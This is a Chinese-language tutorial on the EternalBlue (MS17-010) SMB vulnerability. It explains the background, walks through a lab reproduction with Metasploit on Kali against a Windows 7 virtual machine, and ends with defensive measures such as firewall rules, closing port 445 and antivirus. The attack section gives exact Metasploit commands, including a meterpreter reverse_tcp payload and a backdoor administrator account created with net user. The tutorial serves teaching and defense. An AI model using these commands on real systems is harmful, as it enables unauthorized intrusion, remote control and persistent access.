EternalBlue【永恒之蓝】漏洞详解(复现、演示、远程、后门、入侵、防御)内容丰富-深入剖析漏洞原理-漏洞成因-以及报错解决方法-值得收藏!

    2025-08-23 09:21:10

    漏洞背景:

    1.何为永恒之蓝?

    永恒之蓝(Eternal Blue)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,使全世界大范围内遭受了该勒索病毒,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。不过在该病毒出来不久就被微软通过打补丁修复。

    2.什么是SMB协议?

    SMB(全称是Server Message Block)是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠SMB实现的;SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上,SMB使用TCP139端口和TCP445端口。

    3. SMB工作原理是什么?

    首先客户端发送一个SMB negport 请求数据报,,并列出它所支持的所有SMB的协议版本。服务器收到请求消息后响应请求,并列出希望使用的SMB协议版本。如果没有可以使用的协议版本则返回0XFFFFH,结束通信。协议确定后,客户端进程向服务器发起一个用户或共享的认证,这个过程是通过发送SessetupX请求数据包实现的。客户端发送一对用户名和密码或一个简单密码到服务器,然后通过服务器发送一个SessetupX应答数据包来允许或拒绝本次连接。当客户端和服务器完成了磋商和认证之后,它会发送一个Tcon或TconX SMB数据报并列出它想访问的网络资源的名称,之后会发送一个TconX应答数据报以表示此次连接是否接收或拒绝。连接到相应资源后,SMB客户端就能够通过open SMB打开一个文件,通过read SMB读取文件,通过write SMB写入文件,通过close SMB关闭文件。

    准备工作:

    虚拟机:VMware

    靶机(rhost):Windows7 (IP:192.168.244.133)

    攻击机(lhost):Kali (IP:192.168.244.136)

    所需工具:nmap、metasploit(MSF) 【工具均在Kali系统内】

    漏洞复现过程:

    主机发现

    关闭防火墙和杀软

    靶机关闭防火墙杀软等一切防御信息 否则nmap扫描不到

    防火墙关闭路径

    控制面板->系统和安全->Windows 防火墙

    查看攻击机与靶机IP信息

    查看攻击机与靶机的IP信息

    攻击机:终端模拟器->ifconfig

    靶机:win->cmd->ipconfig

    进行Ping通测试

    进行ping通测试

    Kali使用CTRL+C快捷键进行终止命令进行

    和上面两张图片一样结果的都表示Ping通成功

    扫描存活主机以及开放端口

    使用nmap扫描工具对目标机网段进行存活主机扫描以及靶机的445端口是否开放

    可以看出目标机存活并且445端口为开放状态

    入侵过程

    开启postgresql数据库服务

    以下命令均在Kali攻击机root终端进行!

    开启

    service postgresql start

    查看是否开启

    service postgresql status

    此状态表示开启成功

    初始化metasploit postgresql数据库

    初始化

    msfdb init

    此状态表示初始化成功

    启动MSF框架

    Kali root终端输入

    msfconsole

    此状态表示进入MSF框架成功

    利用探测漏洞模块

    db_status #查看是否进入MSF攻击服务

    search ms17_010 #查找探测模块

    use auxiliary/scanner/smb/smb_ms17_010 #利用探测模块

    show options #查看配置参数

    set rhost 192.168.244.133/32 #设置探测主机段

    set threads 20 #设置探测线程

    run/exploit #执行探测

    探测出likely表示可能存在漏洞!

    利用永恒之蓝模块

    use exploit/windows/smb/ms17_010_eternalblue #利用ms17_010永恒之蓝漏洞

    set rhost 192.168.244.133 #设置攻击目标IP

    set payload windows/x64/meterpreter/reverse_tcp #设置攻击载荷(木马信息)

    set lhost 192.168.244.136 #设置监听主机IP

    set lpost 445 #设置监听端口

    run/exploit #执行攻击

    运行成功后会出现meterpreter>

    Meterpreter俗称"黑客瑞士军刀"

    想要深入了解可以看以下内容

    Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功后的攻击载荷使用。它可以在触发漏洞后返回一个由攻击者控制的通道,以便远程执行命令。

    Meterpreter的功能丰富,例如添加用户、隐藏某些内容、打开shell、获取用户密码、上传和下载远程主机的文件、运行cmd.exe、捕捉屏幕、获取远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等。此外,Meterpreter可以躲避入侵检测系统,在远程主机上隐藏自己,不改变系统硬盘中的文件,因此HIDS(基于主机的入侵检测系统)很难对它做出响应。

    Meterpreter还可以简化任务创建多个会话,利用这些会话进行渗透。在Metasploit Framework中,Meterpreter是一种后渗透工具,它属于一种在运行过程中可通过网络进行功能扩展的动态可扩展型Payload。这种工具是基于“内存DLL注入”理念实现的,它能够通过创建一个新进程并调用注入的DLL来让目标系统运行注入的DLL文件。其中,攻击者与目标设备中Meterpreter的通信是通过Stager套接字实现的。

    Meterpreter作为后渗透模块有多种类型,并且命令由核心命令和扩展库命令组成,极大的丰富了攻击方式。此外,Meterpreter还支持Ruby脚本形式的扩展。

    远程查看靶机信息和捕捉屏幕

    sysinfo #查看靶机系统信息

    getuid #查看靶机用户身份

    screenshot #对靶机当前屏幕进行截图

    需要注意的是最后一部屏幕截图保存到了根目录下

    根目录下受权限保护可能查看不了图片

    解决方法有两种改权限或者复制到桌面上 在这里讲的是第二种方法

    cp EoiLSMEC.jpeg '/home/kali/桌面/flag1.png'

    进入靶机控制台

    shell #进入靶机cmd终端

    成功进入靶机C:\Windows\system32路径下

    对靶机进行后门植入

    #创建新管理员用户

    net user baimao 123 /add

    #将baimao用户加入到本地管理员组当中

    net localgroup administrators baimao /add

    #查看本地管理员组当中的用户成员

    net localgroup administrators

    #查看此路径下的所有文件和目录

    dir

    与图片中信息相同就代表后门植入成功

    exit可以退回meterpreter路径下

    查看靶机当前用户

    whoami

    创建文件夹

    mkdir baimao

    exit可以退出MSF框架

    如何防御

    开启防火墙

    防火墙开启路径

    控制面板->系统和安全->Windows 防火墙

    禁用靶机139和445端口

    查看靶机445端口是否开启

    netstat -ant

    可以看到445端口是开启状态

    禁用靶机445端口路径

    控制面板->系统和安全->Windows 防火墙

    禁用server服务

    win+r 运行

    输入services.msc

    关闭不必要的服务

    关闭服务路径

    控制面板->系统和安全->Windows 防火墙

    根据需要可以选择关闭与否

    注册表关闭445端口

    win+r 运行

    输入regedit进入注册表

    找到此注册表路径

    根据自己系统位数进行修改64位就选择QWORD

    HKEY_LOCAL_MACHINE\System\Controlset\Services\NetBT\Parameters

    重命名为SMBDeviceEnabled

    右键->修改->数值数据的值为0(0代表关闭,1代表打开),点击确定,完成设置 。

    重启之后查看445端口是否关闭!

    可以看到445端口已经不见了!

    安装杀毒软件

    360安全卫士与火绒安全软件成功阻止了永恒之蓝!

    大家想要了解的,可以参考下!

    360安全卫士和火绒安全软件都是知名的电脑安全软件,具有多种防护功能。

    360安全卫士是一款全面而高效的电脑安全防护软件,它拥有强大的查杀能力,可以检测和清除电脑中的病毒、木马、恶意程序等安全隐患。同时,它还提供了多种实用的功能,如实时监控、木马查杀、漏洞修复等,可以帮助用户保护电脑安全,提高使用体验。

    火绒安全软件则是一款以防护为主打功能的电脑安全软件,它拥有自主知识产权的新一代反病毒引擎,能够检测和分析恶意程序,提供全面的防护功能。此外,火绒安全软件还拥有钩子扫描功能,可以快速扫描指定进程,发现潜在的安全风险。

    最后总结

    2017年永恒之蓝漏洞,编号为ms17_010漏洞。

    现在只有一些低版本的电脑没有打ms17_010的补丁,windows7 以上版本几乎都没有这个漏洞了。

    虽然如此,此漏洞非常经典,现如今仍有很大的学习漏洞原理以及深入研究防御策略都有很大的借鉴和学习研究的意义。

    让大家可以对网络安全更加重视,网络安全刻不容缓,让我们为国家网络安全的建设共同努力!